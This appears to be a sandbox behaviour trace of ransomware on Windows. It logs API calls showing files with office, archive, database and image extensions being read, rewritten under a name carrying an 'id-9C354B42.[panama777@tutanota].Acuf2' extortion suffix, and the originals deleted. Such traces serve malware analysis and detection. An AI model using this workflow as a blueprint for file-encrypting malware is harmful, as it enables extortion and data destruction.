	[0058.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77
	[0058.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77
	[0058.902] lstrlenW (lpString=".doc") returned 4
	[0058.902] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString=".docx") returned 5
	[0058.902] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1
	[0058.902] lstrlenW (lpString=".pdf") returned 4
	[0058.902] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString=".xls") returned 4
	[0058.902] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString=".xlsx") returned 5
	[0058.902] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1
	[0058.902] lstrlenW (lpString=".ppt") returned 4
	[0058.902] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77
	[0058.902] lstrlenW (lpString=".zip") returned 4
	[0058.902] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0058.902] lstrlenW (lpString=".rar") returned 4
	[0058.902] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString=".bz2") returned 4
	[0058.902] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString=".7z") returned 3
	[0058.902] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0058.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77
	[0058.902] lstrlenW (lpString=".dbf") returned 4
	[0058.902] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77
	[0058.902] lstrlenW (lpString=".1cd") returned 4
	[0058.902] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0058.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77
	[0058.902] lstrlenW (lpString=".jpg") returned 4
	[0058.902] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0058.904] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.904] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0058.905] GetLastError () returned 0x0
	[0058.905] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x2340, lpOverlapped=0x0) returned 1
	[0058.906] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x2350, lpOverlapped=0x0) returned 1
	[0058.907] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.907] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0058.907] SetEndOfFile (hFile=0x200) returned 1
	[0058.907] CloseHandle (hObject=0x200) returned 1
	[0058.908] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.908] SetEndOfFile (hFile=0x18c) returned 1
	[0058.908] CloseHandle (hObject=0x18c) returned 1
	[0058.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1
	[0058.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63
	[0058.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63
	[0058.909] lstrlenW (lpString=".doc") returned 4
	[0058.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0058.909] lstrlenW (lpString=".docx") returned 5
	[0058.909] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0058.909] lstrlenW (lpString=".pdf") returned 4
	[0058.909] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0058.909] lstrlenW (lpString=".xls") returned 4
	[0058.909] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0058.909] lstrlenW (lpString=".xlsx") returned 5
	[0058.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0058.909] lstrlenW (lpString=".ppt") returned 4
	[0058.909] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0058.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63
	[0058.909] lstrlenW (lpString=".zip") returned 4
	[0058.909] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0058.910] lstrlenW (lpString=".rar") returned 4
	[0058.910] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0058.910] lstrlenW (lpString=".bz2") returned 4
	[0058.910] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0058.910] lstrlenW (lpString=".7z") returned 3
	[0058.910] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0058.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63
	[0058.910] lstrlenW (lpString=".dbf") returned 4
	[0058.910] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0058.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63
	[0058.910] lstrlenW (lpString=".1cd") returned 4
	[0058.910] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0058.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63
	[0058.910] lstrlenW (lpString=".jpg") returned 4
	[0058.910] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0058.910] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.910] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0058.911] GetLastError () returned 0x0
	[0058.911] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x1c30, lpOverlapped=0x0) returned 1
	[0058.912] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1c40, lpOverlapped=0x0) returned 1
	[0058.913] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.913] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0058.913] SetEndOfFile (hFile=0x200) returned 1
	[0058.913] CloseHandle (hObject=0x200) returned 1
	[0058.913] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.913] SetEndOfFile (hFile=0x18c) returned 1
	[0058.914] CloseHandle (hObject=0x18c) returned 1
	[0058.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1
	[0058.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63
	[0058.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63
	[0058.915] lstrlenW (lpString=".doc") returned 4
	[0058.915] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0058.915] lstrlenW (lpString=".docx") returned 5
	[0058.915] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0058.915] lstrlenW (lpString=".pdf") returned 4
	[0058.915] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0058.915] lstrlenW (lpString=".xls") returned 4
	[0058.915] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0058.915] lstrlenW (lpString=".xlsx") returned 5
	[0058.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0058.915] lstrlenW (lpString=".ppt") returned 4
	[0058.915] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0058.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63
	[0058.915] lstrlenW (lpString=".zip") returned 4
	[0058.915] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0058.915] lstrlenW (lpString=".rar") returned 4
	[0058.915] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0058.915] lstrlenW (lpString=".bz2") returned 4
	[0058.915] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0058.915] lstrlenW (lpString=".7z") returned 3
	[0058.915] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0058.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63
	[0058.916] lstrlenW (lpString=".dbf") returned 4
	[0058.916] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0058.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63
	[0058.916] lstrlenW (lpString=".1cd") returned 4
	[0058.916] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0058.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63
	[0058.916] lstrlenW (lpString=".jpg") returned 4
	[0058.916] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0058.917] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.917] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0058.918] GetLastError () returned 0x0
	[0058.918] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x3a19, lpOverlapped=0x0) returned 1
	[0058.919] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x3a20, lpOverlapped=0x0) returned 1
	[0058.920] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.921] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0058.921] SetEndOfFile (hFile=0x200) returned 1
	[0058.921] CloseHandle (hObject=0x200) returned 1
	[0058.921] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.921] SetEndOfFile (hFile=0x18c) returned 1
	[0058.922] CloseHandle (hObject=0x18c) returned 1
	[0058.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1
	[0058.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63
	[0058.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63
	[0058.922] lstrlenW (lpString=".doc") returned 4
	[0058.922] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0058.922] lstrlenW (lpString=".docx") returned 5
	[0058.922] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0058.922] lstrlenW (lpString=".pdf") returned 4
	[0058.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0058.923] lstrlenW (lpString=".xls") returned 4
	[0058.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0058.923] lstrlenW (lpString=".xlsx") returned 5
	[0058.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0058.923] lstrlenW (lpString=".ppt") returned 4
	[0058.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0058.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63
	[0058.923] lstrlenW (lpString=".zip") returned 4
	[0058.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0058.923] lstrlenW (lpString=".rar") returned 4
	[0058.923] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0058.923] lstrlenW (lpString=".bz2") returned 4
	[0058.923] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0058.923] lstrlenW (lpString=".7z") returned 3
	[0058.923] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0058.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63
	[0058.923] lstrlenW (lpString=".dbf") returned 4
	[0058.923] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0058.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63
	[0058.923] lstrlenW (lpString=".1cd") returned 4
	[0058.923] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0058.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63
	[0058.923] lstrlenW (lpString=".jpg") returned 4
	[0058.923] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0058.924] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.924] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0058.924] GetLastError () returned 0x0
	[0058.924] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x1a1c, lpOverlapped=0x0) returned 1
	[0058.926] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1a20, lpOverlapped=0x0) returned 1
	[0058.926] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.927] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0058.927] SetEndOfFile (hFile=0x200) returned 1
	[0058.927] CloseHandle (hObject=0x200) returned 1
	[0058.927] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.927] SetEndOfFile (hFile=0x18c) returned 1
	[0058.928] CloseHandle (hObject=0x18c) returned 1
	[0058.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1
	[0058.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63
	[0058.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63
	[0058.928] lstrlenW (lpString=".doc") returned 4
	[0058.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0058.928] lstrlenW (lpString=".docx") returned 5
	[0058.928] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0058.928] lstrlenW (lpString=".pdf") returned 4
	[0058.929] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0058.929] lstrlenW (lpString=".xls") returned 4
	[0058.929] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0058.929] lstrlenW (lpString=".xlsx") returned 5
	[0058.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0058.929] lstrlenW (lpString=".ppt") returned 4
	[0058.929] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63
	[0058.929] lstrlenW (lpString=".zip") returned 4
	[0058.929] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0058.929] lstrlenW (lpString=".rar") returned 4
	[0058.929] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0058.929] lstrlenW (lpString=".bz2") returned 4
	[0058.929] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0058.929] lstrlenW (lpString=".7z") returned 3
	[0058.929] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63
	[0058.929] lstrlenW (lpString=".dbf") returned 4
	[0058.929] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63
	[0058.929] lstrlenW (lpString=".1cd") returned 4
	[0058.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0058.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63
	[0058.929] lstrlenW (lpString=".jpg") returned 4
	[0058.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1

Thread:
	id = 11
	os_tid = 0x950

	[0036.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5be6a0
	[0036.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5ce6a8
	[0036.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408e8
	[0036.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54a0d0
	[0036.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540900
	[0036.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3360020
	[0036.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540918
	[0036.570] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540918, Size=0x20) returned 0x525d68
	[0036.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540918
	[0036.570] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540918, Size=0x20) returned 0x525c28
	[0036.570] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.570] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.570] Wow64DisableWow64FsRedirection (in: OldValue=0x2c3ff58 | out: OldValue=0x2c3ff58*=0x0) returned 1
	[0036.570] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525d68 | out: hHeap=0x4f0000) returned 1
	[0036.570] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c28 | out: hHeap=0x4f0000) returned 1
	[0036.570] Sleep (dwMilliseconds=0x64) 
	[0036.879] Sleep (dwMilliseconds=0x64) 
	[0037.048] Sleep (dwMilliseconds=0x64) 
	[0037.731] Sleep (dwMilliseconds=0x64) 
	[0037.902] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0037.902] lstrlenW (lpString="ExcelMUI.xml") returned 12
	[0037.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0038.433] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1565) returned 1
	[0038.433] CloseHandle (hObject=0x190) returned 1
	[0038.433] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020
	[0038.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.434] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0038.434] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.434] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.434] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0038.444] GetLastError () returned 0x0
